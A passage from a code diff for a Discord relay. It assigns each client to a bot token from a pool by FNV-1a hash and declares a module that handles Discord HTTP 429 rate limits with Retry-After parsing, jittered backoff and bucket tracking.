+ let h = 2166136261 >>> 0;
23
+ const s = String(clientId || "");
24
+ for (let i = 0; i < s.length; i++) {
25
+ h ^= s.charCodeAt(i);
26
+ h = Math.imul(h, 16777619) >>> 0;
27
+ }
28
+ return h >>> 0;
29
+ }
30
+ function splitBotTokenEnv(raw) {
31
+ const out = [];
32
+ for (const part of raw.split(/[\n,]+/)) {
33
+ const t = part.trim();
34
+ if (t)
35
+ out.push(t);
36
+ }
37
+ return out;
38
+ }
39
+ /**
40
+ * Parsed bot tokens from relay env (non-empty, deduped in order).
41
+ */
42
+ function getRelayDiscordBotTokens() {
43
+ const fromMulti = splitBotTokenEnv((process.env.RELAY_DISCORD_BOT_TOKENS || "").trim());
44
+ const fromSingle = splitBotTokenEnv((process.env.RELAY_DISCORD_BOT_TOKEN || "").trim());
45
+ const merged = [];
46
+ merged.push(...fromSingle);
47
+ merged.push(...fromMulti);
48
+ const seen = new Set();
49
+ const deduped = [];
50
+ for (const t of merged) {
51
+ if (!seen.has(t)) {
52
+ seen.add(t);
53
+ deduped.push(t);
54
+ }
55
+ }
56
+ return deduped;
57
+ }
58
+ /**
59
+ * Stable bot token for this `client_id` — spreads agents across the token pool (rate-limit buckets).
60
+ */
61
+ function relayDiscordBotTokenForClient(clientId, tokens) {
62
+ if (tokens.length === 0)
63
+ return "";
64
+ if (tokens.length === 1)
65
+ return tokens[0];
66
+ const idx = discordClientIdFnv1a32(clientId) % tokens.length;
67
+ return tokens[idx];
68
+ }
69
+ /**
70
+ * 0-based index of the bot assigned to this `client_id` in the token pool.
71
+ * Same FNV-1a hash as `relayDiscordBotTokenForClient` — consistent assignment.
72
+ * Used to name webhooks per-bot so screenshots are visually distinguishable in Discord.
73
+ */
74
+ function relayDiscordBotIndexForClient(clientId, tokens) {
75
+ if (tokens.length <= 1)
76
+ return 0;
77
+ return discordClientIdFnv1a32(clientId) % tokens.length;
78
+ }
@@ -0,0 +1,93 @@
1
+ /**
2
+ * Shared Discord HTTP 429 handling (bot REST + webhooks).
3
+ *
4
+ * Strategies implemented
5
+ * ──────────────────────
6
+ * 1. Retry-After header / retry_after JSON body — both read and respected on 429.
7
+ * 2. Exponential back-off with random jitter — avoids thundering herd when many
8
+ * agents retry at the same instant.
9
+ * 3. Proactive per-route bucket tracking (DiscordBucketTracker) — reads
10
+ * X-RateLimit-Remaining + X-RateLimit-Reset-After on *every* response.
11
+ * When remaining==0 the bucket is marked as exhausted and the next caller
12
+ * pre-waits before the request, preventing the 429 entirely.
13
+ * 4. Global rate-limit detection — X-RateLimit-Global / X-RateLimit-Scope headers
14
+ * on 429 pause ALL routes for that tracker's token.
15
+ * 5. X-RateLimit-Scope: shared — 429s with scope=shared do NOT count toward the
16
+ * Cloudflare 10 000/10 min invalid-request ban; they are still respected but
17
+ * not treated as fatal.
18
+ * 6. configurable max attempts — RELAY_DISCORD_429_MAX_ATTEMPTS /
19
+ * FORGE_JS_DISCORD_429_MAX_ATTEMPTS (1–12, default 12).
20
+ *
21
+ * @see https://discord.com/developers/docs/topics/rate-limits
22
+ */
23
+ export declare function sleepMs(ms: number): Promise<void>;
24
+ /**
25
+ * Parse Discord `retry_after` (JSON body, seconds) or `Retry-After` (header, seconds).
26
+ * Adds small random jitter (+0–400 ms) so many agents don't all retry simultaneously.
27
+ */
28
+ export declare function discord429DelayMs(res: Response): Promise<number>;
29
+ /** Max attempts per logical Discord call (first try + retries after 429). Default 12. */
30
+ export declare function discord429MaxAttempts(): number;
31
+ /**
32
+ * Tracks Discord per-route and global rate-limit bucket state for ONE bot token.
33
+ *
34
+ * Call `update()` after every Discord response so remaining-request state is
35
+ * always fresh. Call `preWaitMs()` before a request to get the number of ms
36
+ * to sleep before sending (0 if the bucket is not exhausted).
37
+ *
38
+ * This is PROACTIVE: by pre-waiting when `remaining==0` we avoid triggering
39
+ * a 429 in the first place, reducing both latency and Cloudflare invalid-request
40
+ * counts (since prevented 429s never hit Discord).
41
+ */
42
+ export declare class DiscordBucketTracker {
43
+ /** bucket-hash (or route key) → epoch ms at which the bucket resets */
44
+ private readonly _pauseUntil;
45
+ /** All routes for this token pause until this epoch ms (global 429). */
46
+ private _globalPauseUntil;
47
+ /**
48
+ * Update internal state from a Discord REST response.
49
+ * Should be called for EVERY response — 200s, 204s, and 429s alike.
50
+ */
51
+ update(headers: {
52
+ get(k: string): string | null;
53
+ }, routeKey: string): void;
54
+ /**
55
+ * Set a global pause (all routes). Called when X-RateLimit-Global == "true"
56
+ * or X-RateLimit-Scope == "global" is found on a 429 response.
57
+ */
58
+ setGlobalPause(retryAfterMs: number): void;
59
+ /**
60
+ * Set a per-route pause. Called on a per-route 429 to block that specific
61
+ * bucket until the reset window elapses.
62
+ */
63
+ setRoutePause(routeKey: string, bucket: string | null, retryAfterMs: number): void;
64
+ /**
65
+ * Returns ms to pre-wait before sending a request to `routeKey`.
66
+ * Returns 0 when the route is not rate-limited.
67
+ * Adds a tiny random jitter (0–30 ms) so many concurrent calls stagger.
68
+ */
69
+ preWaitMs(routeKey: string, bucket?: string | null): number;
70
+ /** For testing / diagnostics. */
71
+ isGloballyPaused(): boolean;
72
+ }
73
+ /** Shared tracker for all relay-side Discord REST calls. One per module load. */
74
+ export declare const relayDiscordBucketTracker: DiscordBucketTracker;
75
+ /**
76
+ * Re-invokes `doFetch` until the response is not 429 or max attempts are exhausted.
77
+ * Respects `Retry-After` / `retry_after` with jitter on every back-off.
78
+ *
79
+ * Optional `routeKey` + `tracker` enable proactive bucket tracking:
80
+ * - Pre-waits before the first attempt if the tracker says the bucket is exhausted.
81
+ * - Updates the tracker after every response.
82
+ * - Distinguishes global 429 (pauses all routes) from per-route 429.
83
+ *
84
+ * Backward compatible — `routeKey` and `tracker` default to undefined.
85
+ */
86
+ export declare function fetchUntilNot429(doFetch: () => Promise<Response>, routeKey?: string, tracker?: DiscordBucketTracker): Promise<Response>;
87
+ /**
88
+ * Milliseconds to wait after a failed Discord ticket/webhook step when the error
89
+ * text embeds JSON `"retry_after"` or clearly indicates rate limiting.
90
+ * Returns **0** when the error is not a rate-limit signal.
91
+ * @param minWaitMs — floor when `retry_after` is tiny (default **5000** ms).
92
+ */
93
+ export declare function discordBackoffMsFromErrorText(errText: string, minWaitMs?: number): number;